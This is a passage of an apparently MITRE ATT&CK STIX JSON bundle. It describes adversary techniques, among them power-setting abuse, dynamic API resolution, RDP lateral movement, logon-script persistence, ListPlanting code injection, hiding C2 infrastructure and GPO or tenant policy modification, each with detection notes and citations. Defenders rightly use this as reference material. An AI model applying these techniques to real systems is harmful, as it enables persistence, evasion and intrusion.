                    "source_name": "Methods of Mac Malware Persistence",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
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                {
                    "source_name": "OSX Malware Detection",
                    "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.",
                    "url": "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf"
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                {
                    "source_name": "WireLurker",
                    "description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.",
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                {
                    "source_name": "PTRACE man",
                    "description": "Kerrisk, M. (2020, February 9). PTRACE(2) - Linux Programmer's Manual. Retrieved February 21, 2020.",
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                {
                    "source_name": "Medium Ptrace JUL 2018",
                    "description": "Jain, S. (2018, July 25). Code injection in running process using ptrace. Retrieved February 21, 2020.",
                    "url": "https://medium.com/@jain.sm/code-injection-in-running-process-using-ptrace-d3ea7191a4be"
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                    "source_name": "BH Linux Inject",
                    "description": "Colgan, T. (2015, August 15). Linux-Inject. Retrieved February 21, 2020.",
                    "url": "https://github.com/gaffe23/linux-inject/blob/master/slides_BHArsenal2015.pdf"
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                {
                    "source_name": "ArtOfMemoryForensics",
                    "description": "Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017."
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                {
                    "source_name": "GNU Acct",
                    "description": "GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.",
                    "url": "https://www.gnu.org/software/acct/"
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                {
                    "source_name": "RHEL auditd",
                    "description": "Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.",
                    "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing"
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                {
                    "source_name": "Chokepoint preload rootkits",
                    "description": "stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.",
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            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--ea071aa0-8f17-416f-ab0d-2bab7e79003d",
            "created": "2023-06-05T15:52:52.467Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1653",
                    "external_id": "T1653"
                },
                {
                    "source_name": "Sleep, shut down, hibernate",
                    "description": "AVG. (n.d.). Should You Shut Down, Sleep or Hibernate Your PC or Mac Laptop?. Retrieved June 8, 2023.",
                    "url": "https://www.avg.com/en/signal/should-you-shut-down-sleep-or-hibernate-your-pc-or-mac-laptop"
                },
                {
                    "source_name": "CoinLoader: A Sophisticated Malware Loader Campaign",
                    "description": "Avira. (2019, November 28). CoinLoader: A Sophisticated Malware Loader Campaign. Retrieved June 5, 2023.",
                    "url": "https://www.avira.com/en/blog/coinloader-a-sophisticated-malware-loader-campaign"
                },
                {
                    "source_name": "BATLOADER: The Evasive Downloader Malware",
                    "description": "Bethany Hardin, Lavine Oluoch, Tatiana Vollbrecht. (2022, November 14). BATLOADER: The Evasive Downloader Malware. Retrieved June 5, 2023.",
                    "url": "https://blogs.vmware.com/security/2022/11/batloader-the-evasive-downloader-malware.html"
                },
                {
                    "source_name": "Two New Monero Malware Attacks Target Windows and Android Users",
                    "description": "Douglas Bonderud. (2018, September 17). Two New Monero Malware Attacks Target Windows and Android Users. Retrieved June 5, 2023.",
                    "url": "https://securityintelligence.com/news/two-new-monero-malware-attacks-target-windows-and-android-users/"
                },
                {
                    "source_name": "Condi-Botnet-binaries",
                    "description": "Joie Salvio and Roy Tay. (2023, June 20). Condi DDoS Botnet Spreads via TP-Link's CVE-2023-1389. Retrieved September 5, 2023.",
                    "url": "https://www.fortinet.com/blog/threat-research/condi-ddos-botnet-spreads-via-tp-links-cve-2023-1389"
                },
                {
                    "source_name": "systemdsleep Linux",
                    "description": "Man7. (n.d.). systemd-sleep.conf(5) \u2014 Linux manual page. Retrieved June 7, 2023.",
                    "url": "https://man7.org/linux/man-pages/man5/systemd-sleep.conf.5.html"
                },
                {
                    "source_name": "Microsoft: Powercfg command-line options",
                    "description": "Microsoft. (2021, December 15). Powercfg command-line options. Retrieved June 5, 2023.",
                    "url": "https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/powercfg-command-line-options?adlt=strict"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:59:18.299Z",
            "name": "Power Settings",
            "description": "Adversaries may impair a system's ability to hibernate, reboot, or shut down in order to extend access to infected machines. When a computer enters a dormant state, some or all software and hardware may cease to operate which can disrupt malicious activity.(Citation: Sleep, shut down, hibernate)\n\nAdversaries may abuse system utilities and configuration settings to maintain access by preventing machines from entering a state, such as standby, that can terminate malicious activity.(Citation: Microsoft: Powercfg command-line options)(Citation: systemdsleep Linux)\n\nFor example, `powercfg` controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.(Citation: Two New Monero Malware Attacks Target Windows and Android Users) Adversaries may also extend system lock screen timeout settings.(Citation: BATLOADER: The Evasive Downloader Malware) Other relevant settings, such as disk and hibernate timeout, can be similarly abused to keep the infected machine running even if no user is active.(Citation: CoinLoader: A Sophisticated Malware Loader Campaign)\n\nAware that some malware cannot survive system reboots, adversaries may entirely delete files used to invoke system shut down or reboot.(Citation: Condi-Botnet-binaries)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
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            "x_mitre_contributors": [
                "Menachem Goldstein",
                "Juan Tapiador"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Command-line invocation of tools capable of modifying services may be unusual and can be monitored for and alerted on, depending on how systems are typically used in a particular environment. \n",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "Linux",
                "macOS",
                "Network Devices"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "File: File Modification",
                "Command: Command Execution"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--ea4c2f9c-9df1-477c-8c42-6da1118f2ac4",
            "created": "2022-08-22T20:42:08.498Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1027/007",
                    "external_id": "T1027.007"
                },
                {
                    "source_name": "Huntress API Hash",
                    "description": "Brennan, M. (2022, February 16). Hackers No Hashing: Randomizing API Hashes to Evade Cobalt Strike Shellcode Detection. Retrieved August 22, 2022.",
                    "url": "https://www.huntress.com/blog/hackers-no-hashing-randomizing-api-hashes-to-evade-cobalt-strike-shellcode-detection"
                },
                {
                    "source_name": "BlackHat API Packers",
                    "description": "Choi, S. (2015, August 6). Obfuscated API Functions in Modern Packers. Retrieved August 22, 2022.",
                    "url": "https://www.blackhat.com/docs/us-15/materials/us-15-Choi-API-Deobfuscator-Resolving-Obfuscated-API-Functions-In-Modern-Packers.pdf"
                },
                {
                    "source_name": "Drakonia HInvoke",
                    "description": "drakonia. (2022, August 10). HInvoke and avoiding PInvoke. Retrieved August 22, 2022.",
                    "url": "https://dr4k0nia.github.io/dotnet/coding/2022/08/10/HInvoke-and-avoiding-PInvoke.html?s=03"
                },
                {
                    "source_name": "IRED API Hashing",
                    "description": "spotheplanet. (n.d.). Windows API Hashing in Malware. Retrieved August 22, 2022.",
                    "url": "https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:24:25.266Z",
            "name": "Dynamic API Resolution",
            "description": "Adversaries may obfuscate then dynamically resolve API functions called by their malware in order to conceal malicious functionalities and impair defensive analysis. Malware commonly uses various [Native API](https://attack.mitre.org/techniques/T1106) functions provided by the OS to perform various tasks such as those involving processes, files, and other system artifacts.\n\nAPI functions called by malware may leave static artifacts such as strings in payload files. Defensive analysts may also uncover which functions a binary file may execute via an import address table (IAT) or other structures that help dynamically link calling code to the shared modules that provide functions.(Citation: Huntress API Hash)(Citation: IRED API Hashing)\n\nTo avoid static or other defensive analysis, adversaries may use dynamic API resolution to conceal malware characteristics and functionalities. Similar to [Software Packing](https://attack.mitre.org/techniques/T1027/002), dynamic API resolution may change file signatures and obfuscate malicious API function calls until they are resolved and invoked during runtime.\n\nVarious methods may be used to obfuscate malware calls to API functions. For example, hashes of function names are commonly stored in malware in lieu of literal strings. Malware can use these hashes (or other identifiers) to manually reproduce the linking and loading process using functions such as `GetProcAddress()` and `LoadLibrary()`. These hashes/identifiers can also be further obfuscated using encryption or other string manipulation tricks (requiring various forms of [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) during execution).(Citation: BlackHat API Packers)(Citation: Drakonia HInvoke)(Citation: Huntress API Hash)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Module: Module Load",
                "File: File Metadata",
                "Process: OS API Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf",
            "created": "2020-02-11T18:23:26.059Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1021/001",
                    "external_id": "T1021.001"
                },
                {
                    "source_name": "Alperovitch Malware",
                    "description": "Alperovitch, D. (2014, October 31). Malware-Free Intrusions. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20191115195333/https://www.crowdstrike.com/blog/adversary-tricks-crowdstrike-treats/"
                },
                {
                    "source_name": "TechNet Remote Desktop Services",
                    "description": "Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.",
                    "url": "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:59:18.689Z",
            "name": "Remote Desktop Protocol",
            "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.\n\nRemote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services) \n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1546/008) or [Terminal Services DLL](https://attack.mitre.org/techniques/T1505/005) for Persistence.(Citation: Alperovitch Malware)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Matthew Demaske, Adaptforward"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Logon Session: Logon Session Creation",
                "Network Traffic: Network Connection Creation",
                "Process: Process Creation",
                "Logon Session: Logon Session Metadata"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3",
            "created": "2020-01-10T03:43:37.211Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1037/001",
                    "external_id": "T1037.001"
                },
                {
                    "source_name": "Hexacorn Logon Scripts",
                    "description": "Hexacorn. (2014, November 14). Beyond good ol\u2019 Run key, Part 18. Retrieved November 15, 2019.",
                    "url": "http://www.hexacorn.com/blog/2014/11/14/beyond-good-ol-run-key-part-18/"
                },
                {
                    "source_name": "TechNet Logon Scripts",
                    "description": "Microsoft. (2005, January 21). Creating logon scripts. Retrieved April 27, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:46:59.108Z",
            "name": "Logon Script (Windows)",
            "description": "Adversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence. Windows allows logon scripts to be run whenever a specific user or group of users log into a system.(Citation: TechNet Logon Scripts) This is done via adding a path to a script to the <code>HKCU\\Environment\\UserInitMprLogonScript</code> Registry key.(Citation: Hexacorn Logon Scripts)\n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for changes to Registry values associated with Windows logon scrips, nameley <code>HKCU\\Environment\\UserInitMprLogonScript</code>.\n\nMonitor running process for actions that could be indicative of abnormal programs or executables running upon logon.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Process: Process Creation",
                "Windows Registry: Windows Registry Key Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--eb2cb5cb-ae87-4de0-8c35-da2a17aafb99",
            "created": "2021-11-22T15:02:15.190Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1055/015",
                    "external_id": "T1055.015"
                },
                {
                    "source_name": "Hexacorn Listplanting",
                    "description": "Hexacorn. (2019, April 25). Listplanting \u2013 yet another code injection trick. Retrieved August 14, 2024.",
                    "url": "https://www.hexacorn.com/blog/2019/04/25/listplanting-yet-another-code-injection-trick/"
                },
                {
                    "source_name": "ESET InvisiMole June 2020",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf"
                },
                {
                    "source_name": "Microsoft List View Controls",
                    "description": "Microsoft. (2021, May 25). About List-View Controls. Retrieved January 4, 2022.",
                    "url": "https://docs.microsoft.com/windows/win32/controls/list-view-controls-overview"
                },
                {
                    "source_name": "Modexp Windows Process Injection",
                    "description": "odzhan. (2019, April 25). Windows Process Injection: WordWarping, Hyphentension, AutoCourgette, Streamception, Oleum, ListPlanting, Treepoline. Retrieved November 15, 2021.",
                    "url": "https://modexp.wordpress.com/2019/04/25/seven-window-injection-methods/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:59:18.862Z",
            "name": "ListPlanting",
            "description": "Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process.(Citation: Hexacorn Listplanting) Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.\n\nList-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings are stored within the process' memory in a <code>SysListView32</code> control.\n\nListPlanting (a form of message-passing \"shatter attack\") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: Modexp Windows Process Injection) Adversaries must first copy code into the target process\u2019 memory space, which can be performed various ways including by directly obtaining a handle to the <code>SysListView32</code> child of the victim process window (via Windows API calls such as <code>FindWindow</code> and/or <code>EnumWindows</code>) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods.\n\nSome variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored <code>WriteProcessMemory</code> function. For example, an adversary can use the <code>PostMessage</code> and/or <code>SendMessage</code> API functions to send <code>LVM_SETITEMPOSITION</code> and <code>LVM_GETITEMPOSITION</code> messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole June 2020) \n\nFinally, the payload is triggered by sending the <code>LVM_SORTITEMS</code> message to the <code>SysListView32</code> child of the process window, with the payload within the newly allocated buffer passed and executed as the <code>ListView_SortItems</code> callback.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "ESET"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>FindWindow</code>, <code>FindWindowEx</code>, <code>EnumWindows</code>, <code>EnumChildWindows</code>, and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be abused for this technique. \n\nConsider monitoring for excessive use of <code>SendMessage</code> and/or <code>PostMessage</code> API functions with <code>LVM_SETITEMPOSITION</code> and/or <code>LVM_GETITEMPOSITION</code> arguments.\n\nAnalyze process behavior to determine if a process is performing unusual actions, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Process: Process Modification",
                "Process: OS API Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--eb897572-8979-4242-a089-56f294f4c91d",
            "created": "2024-02-13T17:00:00.175Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1665",
                    "external_id": "T1665"
                },
                {
                    "source_name": "SocGholish-update",
                    "description": "Andrew Northern. (2022, November 22). SocGholish, a very real threat from a very fake update. Retrieved February 13, 2024.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update"
                },
                {
                    "source_name": "TA571",
                    "description": "Axel F, Selena Larson. (2023, October 30).  TA571 Delivers IcedID Forked Loader. Retrieved February 13, 2024.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/security-brief-ta571-delivers-icedid-forked-loader"
                },
                {
                    "source_name": "mod_rewrite",
                    "description": "Bluescreenofjeff.com. (2015, April 12). Combatting Incident Responders with Apache mod_rewrite. Retrieved February 13, 2024.",
                    "url": "https://bluescreenofjeff.com/2016-04-12-combatting-incident-responders-with-apache-mod_rewrite/"
                },
                {
                    "source_name": "Browser-updates",
                    "description": "Dusty Miller. (2023, October 17). Are You Sure Your Browser is Up to Date? The Current Landscape of Fake Browser Updates . Retrieved February 13, 2024.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/are-you-sure-your-browser-date-current-landscape-fake-browser-updates"
                },
                {
                    "source_name": "StarBlizzard",
                    "description": "Microsoft Threat Intelligence. (2023, December 7). Star Blizzard increases sophistication and evasion in ongoing attacks. Retrieved February 13, 2024.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2023/12/07/star-blizzard-increases-sophistication-and-evasion-in-ongoing-attacks/"
                },
                {
                    "source_name": "QR-cofense",
                    "description": "Nathaniel Raymond. (2023, August 16). Major Energy Company Targeted in Large QR Code Phishing Campaign. Retrieved February 13, 2024.",
                    "url": "https://cofense.com/blog/major-energy-company-targeted-in-large-qr-code-campaign/"
                },
                {
                    "source_name": "Schema-abuse",
                    "description": "Nick Simonian. (2023, May 22). Don't @ Me: URL Obfuscation Through Schema Abuse. Retrieved February 13, 2024.",
                    "url": "https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse"
                },
                {
                    "source_name": "Orange Residential Proxies",
                    "description": "Orange Cyberdefense. (2024, March 14). Unveiling the depths of residential proxies providers. Retrieved April 11, 2024.",
                    "url": "https://www.orangecyberdefense.com/global/blog/research/residential-proxies"
                },
                {
                    "source_name": "Facad1ng",
                    "description": "Spyboy. (2023). Facad1ng. Retrieved February 13, 2024.",
                    "url": "https://github.com/spyboy-productions/Facad1ng"
                },
                {
                    "source_name": "sysdig",
                    "description": "Sysdig. (2023). Sysdig Global Cloud Threat Report. Retrieved March 1, 2024.",
                    "url": "https://sysdig.com/content/c/pf-2023-global-cloud-threat-report?x=u_WFRi&xs=524303#page=1"
                }
            ],
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            ],
            "modified": "2025-04-15T19:59:18.948Z",
            "name": "Hide Infrastructure",
            "description": "Adversaries may manipulate network traffic in order to hide and evade detection of their C2 infrastructure. This can be accomplished in various ways including by identifying and filtering traffic from defensive tools,(Citation: TA571) masking malicious domains to obfuscate the true destination from both automated scanning tools and security researchers,(Citation: Schema-abuse)(Citation: Facad1ng)(Citation: Browser-updates) and otherwise hiding malicious artifacts to delay discovery and prolong the effectiveness of adversary infrastructure that could otherwise be identified, blocked, or taken down entirely.\n\nC2 networks may include the use of [Proxy](https://attack.mitre.org/techniques/T1090) or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections. For example, an adversary may use a virtual private cloud to spoof their IP address to closer align with a victim's IP address ranges. This may also bypass security measures relying on geolocation of the source IP address.(Citation: sysdig)(Citation: Orange Residential Proxies)\n\nAdversaries may also attempt to filter network traffic in order to evade defensive tools in numerous ways, including blocking/redirecting common incident responder or security appliance user agents.(Citation: mod_rewrite)(Citation: SocGholish-update) Filtering traffic based on IP and geo-fencing may also avoid automated sandboxing or researcher activity (i.e., [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)).(Citation: TA571)(Citation: mod_rewrite)\n\nHiding C2 infrastructure may also be supported by [Resource Development](https://attack.mitre.org/tactics/TA0042) activities such as [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) and [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584). For example, using widely trusted hosting services or domains such as prominent URL shortening providers or marketing services for C2 networks may enable adversaries to present benign content that later redirects victims to malicious web pages or infrastructure once specific conditions are met.(Citation: StarBlizzard)(Citation: QR-cofense)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Diyar Saadi Ali",
                "Eliav Livneh",
                "Hen Porcilan",
                "Matt Mullins"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "Network Devices",
                "Windows",
                "macOS",
                "ESXi"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Internet Scan: Response Metadata",
                "Network Traffic: Network Traffic Content",
                "Domain Name: Domain Registration",
                "Internet Scan: Response Content"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d",
            "created": "2019-03-07T14:10:32.650Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1484",
                    "external_id": "T1484"
                },
                {
                    "source_name": "CISA SolarWinds Cloud Detection",
                    "description": "CISA. (2021, January 8). Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021.",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-008a"
                },
                {
                    "source_name": "ADSecurity GPO Persistence 2016",
                    "description": "Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.",
                    "url": "https://adsecurity.org/?p=2716"
                },
                {
                    "source_name": "Microsoft 365 Defender Solorigate",
                    "description": "Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021.",
                    "url": "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/"
                },
                {
                    "source_name": "Microsoft - Azure Sentinel ADFSDomainTrustMods",
                    "description": "Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020.",
                    "url": "https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml"
                },
                {
                    "source_name": "Microsoft - Update or Repair Federated domain",
                    "description": "Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020.",
                    "url": "https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365"
                },
                {
                    "source_name": "Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks",
                    "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020.",
                    "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/"
                },
                {
                    "source_name": "Okta Cross-Tenant Impersonation 2023",
                    "description": "Okta Defensive Cyber Operations. (2023, August 31). Cross-Tenant Impersonation: Prevention and Detection. Retrieved February 15, 2024.",
                    "url": "https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection"
                },
                {
                    "source_name": "Wald0 Guide to GPOs",
                    "description": "Robbins, A. (2018, April 2). A Red Teamer\u2019s Guide to GPOs and OUs. Retrieved March 5, 2019.",
                    "url": "https://wald0.com/?p=179"
                },
                {
                    "source_name": "Harmj0y Abusing GPO Permissions",
                    "description": "Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved September 23, 2024.",
                    "url": "https://blog.harmj0y.net/redteaming/abusing-gpo-permissions/"
                },
                {
                    "source_name": "Sygnia Golden SAML",
                    "description": "Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved November 17, 2024.",
                    "url": "https://www.sygnia.co/threat-reports-and-advisories/golden-saml-attack/"
                }
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            "modified": "2025-04-15T19:59:19.033Z",
            "name": "Domain or Tenant Policy Modification",
            "description": "Adversaries may modify the configuration settings of a domain or identity tenant to evade defenses and/or escalate privileges in centrally managed environments. Such services provide a centralized means of managing identity resources such as devices and accounts, and often include configuration settings that may apply between domains or tenants such as trust relationships, identity syncing, or identity federation.\n\nModifications to domain or tenant settings may include altering domain Group Policy Objects (GPOs) in Microsoft Active Directory (AD) or changing trust settings for domains, including federation trusts relationships between domains or tenants.\n\nWith sufficient permissions, adversaries can modify domain or tenant policy settings. Since configuration settings for these services apply to a large number of identity resources, there are a great number of potential attacks malicious outcomes that can stem from this abuse. Examples of such abuse include:  \n\n* modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)\n* modifying domain trusts to include an adversary-controlled domain, allowing adversaries to  forge access tokens that will subsequently be accepted by victim domain resources(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks)\n* changing configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207).\n* adding new, adversary-controlled federated identity providers to identity tenants, 